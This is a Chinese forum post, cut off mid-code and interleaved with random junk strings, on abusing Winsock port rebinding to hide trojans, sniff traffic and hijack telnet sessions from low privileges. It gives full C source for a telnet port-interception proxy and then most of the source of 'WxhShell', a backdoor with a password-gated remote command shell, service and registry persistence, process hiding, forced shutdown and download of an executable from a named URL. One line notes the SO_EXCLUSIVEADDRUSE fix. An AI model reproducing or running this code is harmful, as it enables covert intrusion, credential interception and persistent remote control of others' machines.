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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MjRHA^b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y|qTyE%  
{S \{Ii6  
  saddr.sin_family = AF_INET; ?z+eWL  
{YC@T(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]/6z; ~3U  
Ix}sK"}[n  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); e`s ~.ZF  
>R_&Ouh:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G_JA-@i%  
_LnpnL:  
  这意味着什么?意味着可以进行如下的攻击: .Efk*  
(WJRi:NP?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Jpq~  
w2c?.x  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $I>w]  
S hWJ72c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^76]0`gS  
re<{ >  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ="H%6S4'  
cjY-y-vO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6MW{,N  
,`Z1m o>n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 gH vZVC[b  
kD%( _K5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i]4I [!  
n@i HFBb  
  #include !qg`/y9  
  #include q2j{tP#  
  #include >=>2m2z=  
  #include    v?$:@9pAk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^ytrK Q  
  int main() JbbzV>  
  { ,0sm  
  WORD wVersionRequested; qDIZJ h  
  DWORD ret; eByz-,{P  
  WSADATA wsaData; e *C(q~PQ  
  BOOL val; _H%c;z+  
  SOCKADDR_IN saddr; B3I`40#  
  SOCKADDR_IN scaddr; A)!*]o>U  
  int err; '<<t]kK[N  
  SOCKET s;  c?-H>u  
  SOCKET sc; /SB;Von  
  int caddsize; jr. "I+  
  HANDLE mt; G` A4|+W"  
  DWORD tid;   zw[m9N5\h  
  wVersionRequested = MAKEWORD( 2, 2 ); BU_nh+dF  
  err = WSAStartup( wVersionRequested, &wsaData ); AT3Mlz~7#  
  if ( err != 0 ) { tNI^@xdim1  
  printf("error!WSAStartup failed!\n");  8nJpp  
  return -1; dn3y\  
  } m(!FHPvN  
  saddr.sin_family = AF_INET; Fxz"DZY6  
   cq]6XK-W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~ 7s!VR  
q9_OGd|P  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); * u>\57W  
  saddr.sin_port = htons(23); teF9Q+*~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \b x$i*  
  { 2ilQXy  
  printf("error!socket failed!\n"); ~0$&3a<n1  
  return -1; RrB&\9=  
  } S\=Nn7"  
  val = TRUE; )t#W{Gzfmh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 TJRCH>E[a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^h6tr8yn  
  { R 9\*#c  
  printf("error!setsockopt failed!\n"); 3pKQ$\u  
  return -1; K%oG,-wdg  
  } D,feF9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,qxu|9L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bn5 Su=]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5j(k:a+!H  
~>|ziHx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .q>iXE_c  
  { iBa A9  
  ret=GetLastError(); &8lZNv8;(p  
  printf("error!bind failed!\n"); e"<OELA  
  return -1; VPo".BvG6  
  } Nf\LN$ &8  
  listen(s,2); o+'6`g'8  
  while(1) 1+s;FJ2}  
  { sgFEK[w.y  
  caddsize = sizeof(scaddr); "to;\9lP  
  //接受连接请求 y6a3t G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0H:X3y+  
  if(sc!=INVALID_SOCKET) (9a^$C*  
  { %ET+iIhK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g 7H(PF?  
  if(mt==NULL) Z T%5T}i  
  { <5051U Eu  
  printf("Thread Creat Failed!\n"); 2+XA X:YD  
  break; ;V!D :5U  
  } WyiQoN'q  
  } |6- nbj  
  CloseHandle(mt); 2>%=U~5  
  } x q h  
  closesocket(s); <hyKu  
  WSACleanup(); TLH1>pY&  
  return 0; eR>oq,  
  }   Bzf^ivT3L  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2?Vd5xkt  
  { 6gDN`e,@  
  SOCKET ss = (SOCKET)lpParam; L4W5EO$  
  SOCKET sc; z$sT !QL~  
  unsigned char buf[4096]; J&_n9$  
  SOCKADDR_IN saddr; RA 6w}:sq7  
  long num; SXh-A1t  
  DWORD val; "tK=+f`NM  
  DWORD ret; K&-"d/QuLg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !N^@4*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {.Jlbi9!  
  saddr.sin_family = AF_INET; gSj,E8-g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R;LP:,)  
  saddr.sin_port = htons(23); +}AI@+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "AqB$^S9t  
  { ;^L(^Hx  
  printf("error!socket failed!\n"); -~w'Xo#  
  return -1; $??I/6  
  } R=?[Nz  
  val = 100; d'> x(Yi  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c+ie8Q!  
  { o8MZiU1Xf  
  ret = GetLastError(); h";L  
  return -1; 53 h0UL  
  } ca9X19NG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) * T1_;4i  
  { {!`6zBsP  
  ret = GetLastError(); #vlgwA  
  return -1; |7~<Is~ *  
  } >$7B wO  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zH r_!~  
  { Z\sDUJ  
  printf("error!socket connect failed!\n"); '"s@enD0y  
  closesocket(sc);  M6TD"-  
  closesocket(ss); /-s6<e!  
  return -1; |s_GlJV.  
  } EqiY\/S  
  while(1) #dHa,HUk  
  { xIn:ZKJ'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :4|4=mkr  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 I/N *gy?*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k5)om;.w  
  num = recv(ss,buf,4096,0); `]aeI'[}R  
  if(num>0) rm_Nn8p,  
  send(sc,buf,num,0); @4#vm@Yf_  
  else if(num==0) wd6owr  
  break; &^nGtW%a 9  
  num = recv(sc,buf,4096,0); vDvFL<`vmD  
  if(num>0) nk:)j:fr  
  send(ss,buf,num,0); l^ }c!  
  else if(num==0) b,@/!ia  
  break; I-)4YQI  
  } HaYo!.(Fv  
  closesocket(ss); ;*J  
  closesocket(sc); /L 3:  
  return 0 ; \)e'`29;  
  } 6LhTBV  
wIgS3K  
[F7hu7zY8  
========================================================== 30{ gI0jk  
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下边附上一个代码,,WXhSHELL I1J-)R+  
*1"+%Z^  
========================================================== =~gvZV-<  
H?w6C):]  
#include "stdafx.h" Y/oHu@ _  
+C)~bb*  
#include <stdio.h> XPPdwTOr  
#include <string.h> '%;m?t% q  
#include <windows.h> ^J{:x  
#include <winsock2.h> PY'2h4IL  
#include <winsvc.h> y7<|_:00  
#include <urlmon.h> Y-9I3?ar  
c@Is2 9t*  
#pragma comment (lib, "Ws2_32.lib") Q{/Ef[(a@  
#pragma comment (lib, "urlmon.lib") TqQ[_RKg2  
Ort(AfW  
#define MAX_USER   100 // 最大客户端连接数 +7a6*;\ y  
#define BUF_SOCK   200 // sock buffer 76SXJ9@x  
#define KEY_BUFF   255 // 输入 buffer \7_y%HR  
@VI@fN  
#define REBOOT     0   // 重启 @6]JIJE  
#define SHUTDOWN   1   // 关机 {..6>fS  
Ul# r  
#define DEF_PORT   5000 // 监听端口 N>E_%]Ch  
D+c>F5  
#define REG_LEN     16   // 注册表键长度 x1<|hTPk  
#define SVC_LEN     80   // NT服务名长度 ,: ^u-b|  
{{1G`;|v 9  
// 从dll定义API =MWHJ'3-/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o;*Q}Gr<M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fV~~J2IK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _v:SP LU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `@%LzeGz  
]@TCk8d$0  
// wxhshell配置信息 ]###w;  
struct WSCFG { 4e  
  int ws_port;         // 监听端口 y>LBl]  
  char ws_passstr[REG_LEN]; // 口令 06jQE2z2R  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,)io5nZF  
  char ws_regname[REG_LEN]; // 注册表键名 bd`P0f?  
  char ws_svcname[REG_LEN]; // 服务名 F[MFx^sT{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T4F/w|Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SfR%s8c`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _dU\JD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Xc.`-J~Il  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {G-kNU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 afk>+4q  
sRfcF`7  
}; zeRyL3fnmb  
}a/Cro.~4  
// default Wxhshell configuration @]0%L0u  
struct WSCFG wscfg={DEF_PORT, (% 9$!v{3  
    "xuhuanlingzhe", 0{mex4  
    1, 0\$2X- c  
    "Wxhshell", 1x^GWtRp  
    "Wxhshell", D'4\*4is  
            "WxhShell Service", HT@=evV  
    "Wrsky Windows CmdShell Service", V )4J`xg^  
    "Please Input Your Password: ", 4K74=r),i  
  1, *ui</+  
  "http://www.wrsky.com/wxhshell.exe", 6B-16  
  "Wxhshell.exe" t,' <gI  
    }; JtZ7ti  
=M-p/uB]  
// 消息定义模块 wY}@'pzX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s^SJY{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]^]wP]R_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kVL.PY\K  
char *msg_ws_ext="\n\rExit."; >3bCTE   
char *msg_ws_end="\n\rQuit."; ,?3G;-  
char *msg_ws_boot="\n\rReboot..."; E"0>yl)  
char *msg_ws_poff="\n\rShutdown..."; QW"! (`K  
char *msg_ws_down="\n\rSave to "; MQ4KdqgP  
$!DpjN  
char *msg_ws_err="\n\rErr!"; _B0L.eF  
char *msg_ws_ok="\n\rOK!"; ?Ob3tUz2  
] R*A  
char ExeFile[MAX_PATH]; @PU [:;  
int nUser = 0; ntY]SK%Z  
HANDLE handles[MAX_USER]; SX*RP;vHy  
int OsIsNt;  _4f;<FL  
W9)&!&<o  
SERVICE_STATUS       serviceStatus; 9FX-1,Jx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1eKT^bgM  
"5 A! jq  
// 函数声明 r :dTz  
int Install(void); /<3UQLMa  
int Uninstall(void); 1&2>LE/P  
int DownloadFile(char *sURL, SOCKET wsh); fR|A(u#9  
int Boot(int flag); T;#FEzBz  
void HideProc(void); Wjc'*QCPl  
int GetOsVer(void); 3o qHGA:}  
int Wxhshell(SOCKET wsl); {b{s<@?  
void TalkWithClient(void *cs); 54/=G(F   
int CmdShell(SOCKET sock); (w{j6).3Dj  
int StartFromService(void); %3 rP `A  
int StartWxhshell(LPSTR lpCmdLine); -HuA \0J  
ctUp=po  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wS*E(IAl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #Dac~>a'  
*h|U,T7ew  
// 数据结构和表定义 A=4OWV?  
SERVICE_TABLE_ENTRY DispatchTable[] = / j^  
{ 0`hdMLONR  
{wscfg.ws_svcname, NTServiceMain}, n*$ g]G$  
{NULL, NULL} Je{ykL?N  
}; v2?ZQeHr_(  
Yw9GN2AG  
// 自我安装 ry!!9Z>9n  
int Install(void) W4N{S.#!  
{ F5Va+z,jg  
  char svExeFile[MAX_PATH]; j@9T.P1  
  HKEY key; Q20 %"&Xp]  
  strcpy(svExeFile,ExeFile); he4(hX^  
 )*[3Vq  
// 如果是win9x系统,修改注册表设为自启动 BzzTGWq\  
if(!OsIsNt) { :Sma`U&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g5yJfRLxp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]?*wbxU0  
  RegCloseKey(key); r3Ykz%6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /o[w4d8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :%.D78&  
  RegCloseKey(key); HV.t6@\};  
  return 0; z@Y;r=v  
    } oQ#8nu{k  
  } m2o0y++TjW  
} ]tD]Wx%  
else { SdWV3  
&o*A {  
// 如果是NT以上系统,安装为系统服务 <q SC#[xu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OY d !v`<  
if (schSCManager!=0) 3Y &d=  
{ 1qch]1 ^G  
  SC_HANDLE schService = CreateService 0mnw{fE8_  
  ( ]! dTG  
  schSCManager, / +\9S  
  wscfg.ws_svcname, 6pzSp  
  wscfg.ws_svcdisp, (?c-iKGc  
  SERVICE_ALL_ACCESS, OH88n69  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z7#+pPt!  
  SERVICE_AUTO_START, 7"mc+QOp  
  SERVICE_ERROR_NORMAL, Zh,71Umz  
  svExeFile, g ?k=^C  
  NULL, IU[ [ H#  
  NULL, #jk_5W  
  NULL, TO_e^A#  
  NULL, `g,..Ns-r  
  NULL [~ fraK,)  
  ); R@0R`Zs  
  if (schService!=0) p[-O( 3Y  
  { '7/)Ot(  
  CloseServiceHandle(schService); y^k$Us  
  CloseServiceHandle(schSCManager); /,dz@   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8QK&_n*  
  strcat(svExeFile,wscfg.ws_svcname); S:Hl/:iV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <UI [%yXj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <[phnU^ 8  
  RegCloseKey(key); sS Mh`4'  
  return 0; (ZGbh MK  
    }  <Uur^uB  
  } y(&Ac[foS}  
  CloseServiceHandle(schSCManager); 6mE\OS-I  
} y2v^-q3  
} ZoeD:xnh[  
TV:9bn?r)  
return 1; Mhu*[a=;x  
} XuTD\g3)  
DqPw#<"H  
// 自我卸载 u!s2 BC0}N  
int Uninstall(void) ~@!bsLSMU  
{ I|OoRq  
  HKEY key; 92c HwWZ!  
%C0Dw\A*:  
if(!OsIsNt) { B[}6-2<>?C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H.;Q+A,8^  
  RegDeleteValue(key,wscfg.ws_regname); \!(zrfP{(  
  RegCloseKey(key); E@\e$?*X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LscGTs,  
  RegDeleteValue(key,wscfg.ws_regname); G B^Br6  
  RegCloseKey(key); 5tnlrqC  
  return 0; i1085ztN  
  } 0%B/,/PxD  
} CAlCDfKW}  
} 3 {V>S,O3]  
else { /efUjkP  
vIvIfE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "N;EL0=  
if (schSCManager!=0) >ef6{URy<  
{ 6LZCgdS{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H+#FSdy#  
  if (schService!=0) t7pFW^&  
  { &[9709 (=  
  if(DeleteService(schService)!=0) { r^ XVB`v  
  CloseServiceHandle(schService); jCY %|  
  CloseServiceHandle(schSCManager); x38 QD;MT  
  return 0; b$7 +;I;  
  } uO**E-`  
  CloseServiceHandle(schService); DH=hH&[e(d  
  } FwK] $4*  
  CloseServiceHandle(schSCManager); NHt\ U9l'  
} rjP/l6 ~'  
} @CoIaUVP  
3^ClAE"8  
return 1; 7=uj2.J6  
} iCoX& "lb  
"tZe>>I  
// 从指定url下载文件 e.%nRhSs3  
int DownloadFile(char *sURL, SOCKET wsh) 8|^7ai[am  
{ y7{?Ip4[  
  HRESULT hr; AX INThJ  
char seps[]= "/"; ]|@^1we  
char *token; JJnH%Q  
char *file; <q836]aa A  
char myURL[MAX_PATH]; XZf$K_F&M  
char myFILE[MAX_PATH]; jdN` mosJ  
YUb_y^B^  
strcpy(myURL,sURL); RCrCs  
  token=strtok(myURL,seps); *a)n62  
  while(token!=NULL) mv><HqDL1  
  { TC('H[ ]  
    file=token; #mT"gs  
  token=strtok(NULL,seps); `^vE9nW 7  
  } sKWfX Cd  
s~>}a  
GetCurrentDirectory(MAX_PATH,myFILE); r%_djUd  
strcat(myFILE, "\\"); U:`Kss`  
strcat(myFILE, file); =I<R!ZSN  
  send(wsh,myFILE,strlen(myFILE),0); ~o(   
send(wsh,"...",3,0); t1".0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); baasGa3}s  
  if(hr==S_OK) kstIgcI  
return 0; b>|6t~}M  
else l} /F*  
return 1; hxx.9x>ow  
K9[UB  
} "Q0@/bYq  
EnR}IY&sI  
// 系统电源模块 _t$sgz&  
int Boot(int flag) 1\Xw3prH  
{ pmM9,6P4@  
  HANDLE hToken; !1k_PY5)  
  TOKEN_PRIVILEGES tkp; F2WKd1U  
W!X@  
  if(OsIsNt) { |4JEU3\$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4 5e~6",  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7v kL1IA  
    tkp.PrivilegeCount = 1; XSDpRo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ' %qr.T %  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ri{=]$  
if(flag==REBOOT) { oRFq @g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |>Vb9:q9Po  
  return 0; ok[i<zl; '  
} 97]E1j]  
else { hM{bavd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #R"*c hLV  
  return 0; eavV?\uV%  
} . vV|hSc  
  } |=w@H]r  
  else { f 2.HF@  
if(flag==REBOOT) { q'DW~!>qX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @- xjfC\d  
  return 0; ^ y::jK  
} G2D$aSh  
else { ,hVli/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x4 yR8n(  
  return 0; pb}*\/s  
}  &HW9Jn  
} O?2DQY?jT  
+nL[MSw  
return 1; ![1rzQvGDb  
} -~1~I e2  
Tx D#9]Q`  
// win9x进程隐藏模块 $]d^-{|  
void HideProc(void) E fDH6  
{ 6 N4~~O  
\85i+q:LuA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gJXaPJA{  
  if ( hKernel != NULL ) }OUtsh]y  
  { AKC`TA*E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \~W'v3:W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8=l%5r^cq  
    FreeLibrary(hKernel); cr3^6HB  
  }  @5FQX  
XTy x r  
return; t# i #(H  
} b;n[mk  
az$FnVNn=  
// 获取操作系统版本 v+XJ*N[W  
int GetOsVer(void) p2eGm-Erq  
{ }tz7b#  
  OSVERSIONINFO winfo; [WmM6UEVS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ueudRb  
  GetVersionEx(&winfo); G[=c Ss,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &8H'eAA  
  return 1; b=vkiO`2  
  else t_^4`dW`  
  return 0; C]6O!Pb0  
} )e{aN+  
&ncvGDGi  
// 客户端句柄模块 XSRsGTCC=  
int Wxhshell(SOCKET wsl) AH^/V}9H  
{ I,tud!p`  
  SOCKET wsh; { FkF  
  struct sockaddr_in client; &Jj<h: *  
  DWORD myID; /wp6KXm  
`3pW]&  
  while(nUser<MAX_USER) 'DR!9De  
{ eFgA 8kY)  
  int nSize=sizeof(client); ^[[P*NX3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ax`o>_)  
  if(wsh==INVALID_SOCKET) return 1; wMn i  
Tk}]Gev  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j%kncGS  
if(handles[nUser]==0) (=0.inZ  
  closesocket(wsh); M]^5s;y  
else F8=+j_UGI  
  nUser++; By |4 m  
  } .Mbz3;i0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l#o ~W`  
@{Q4^'K"  
  return 0; S[gx{Bxiw  
} 7#XzrT]  
{c'lhUB  
// 关闭 socket ]Ze1s02(  
void CloseIt(SOCKET wsh) 0B2t"(&  
{ 4x34u}l  
closesocket(wsh); %J(:ADu]  
nUser--; I9Xuok!0>=  
ExitThread(0); ye&;(30Oq  
} nlP;nlW  
~ljXzD93Z  
// 客户端请求句柄 0J9x9j`&j  
void TalkWithClient(void *cs) P:c w|Q  
{ M3\AY30L  
kP:!/g  
  SOCKET wsh=(SOCKET)cs; iS^QTuk3%  
  char pwd[SVC_LEN]; uRvP hkqm  
  char cmd[KEY_BUFF]; ';CNGv -  
char chr[1]; [y(MCf19  
int i,j; @gblW*Zhk  
L!92P{K  
  while (nUser < MAX_USER) { %b$>qW\*&  
^8WRqQdx  
if(wscfg.ws_passstr) { 04ui`-c(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }2jn[${ pr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V[LglPt  
  //ZeroMemory(pwd,KEY_BUFF); zhQJy?>'m  
      i=0; 7!1S)dup  
  while(i<SVC_LEN) {  B,@i  
(PL UFT  
  // 设置超时 m O_af  
  fd_set FdRead; cuX)8+  
  struct timeval TimeOut; ch]IzdD  
  FD_ZERO(&FdRead); #a#F,ZT  
  FD_SET(wsh,&FdRead); KlEpzJ98  
  TimeOut.tv_sec=8; 7CysfBF0g  
  TimeOut.tv_usec=0; :WEDAFq0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C|bET  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >4TO=i  
i-1op> Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `5*}p#G  
  pwd=chr[0]; sHj/;  
  if(chr[0]==0xd || chr[0]==0xa) { 3o*YzwRt  
  pwd=0; - ).C  
  break; )0`C@um  
  } 81F9uM0  
  i++; &oNAv-m^GD  
    } Rq-ZL{LR7  
-"x$ZnHU  
  // 如果是非法用户,关闭 socket  mh%VrA q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z{q`GwW  
} ).O)p9  
$ nb[GV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UMi~14& ;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "]*tLL:`  
0-gAyiKx?  
while(1) { @7 }W=HB  
>P(.:_ ^p  
  ZeroMemory(cmd,KEY_BUFF); Uo49*Mr  
?,/ }`3Vw  
      // 自动支持客户端 telnet标准   h[ ZN+M  
  j=0; kJU2C=m@e2  
  while(j<KEY_BUFF) {  " bG2:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PT ~D",k  
  cmd[j]=chr[0]; G@0&8  
  if(chr[0]==0xa || chr[0]==0xd) { V`5 O{Gg  
  cmd[j]=0; +@UV?"d  
  break; 42{~Lhxt  
  } gYj'(jB  
  j++; 7zMr:JmV  
    } hH.G#-JO  
BtZyn7a  
  // 下载文件 sW$XH1Uf#  
  if(strstr(cmd,"http://")) { 0RfZEG)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u*R_\*j@  
  if(DownloadFile(cmd,wsh)) z?zL97H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >_} I.\ X  
  else qs6aB0ln  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3|7QU ld  
  } `cO:<^%  
  else { 4i bc  
xw%0>K[  
    switch(cmd[0]) { {g6%(X\r.r  
  y`Fw-!'o  
  // 帮助 !>tL6+yj  
  case '?': { d9ihhqq3}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bvj0^fSm  
    break; #ob/p#k  
  } G}*hM$F  
  // 安装 )u">it+  
  case 'i': { *hrd5na  
    if(Install()) V&i;\9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sLFl!jX  
    else [aS*%Heu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hZ3bVi)L\  
    break; E`q_bn  
    } #$vEGY}1  
  // 卸载 8L XHk l  
  case 'r': { G3]4A&h9v~  
    if(Uninstall()) E7hhew  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zDp2g)  
    else Z)!C'cb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w!CNRtM:~  
    break; 6zkaOA46V  
    } B!yr!DWv  
  // 显示 wxhshell 所在路径 3T 9j@N77  
  case 'p': { -&f$GUTJ  
    char svExeFile[MAX_PATH]; <i[HbgUlO.  
    strcpy(svExeFile,"\n\r"); q4q6c")zp  
      strcat(svExeFile,ExeFile); VQI 3G  
        send(wsh,svExeFile,strlen(svExeFile),0); jpOp.  
    break; ax2B ]L2  
    } l%ZhA=TKQ  
  // 重启 J1kM\8%b\  
  case 'b': { mmsPLv6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wBzC5T%,  
    if(Boot(REBOOT)) 67TwPvh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >/\'zi]L  
    else { Si,6o!0k  
    closesocket(wsh); {*KEP  
    ExitThread(0); ?upM>69{  
    } H]!"Zq k  
    break; >p/`;Kq@  
    } 51u0]Qx;fm  
  // 关机 Bt#N4m[X*|  
  case 'd': { ^{{q V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \9d$@V  
    if(Boot(SHUTDOWN)) yVc(`,tZ(  
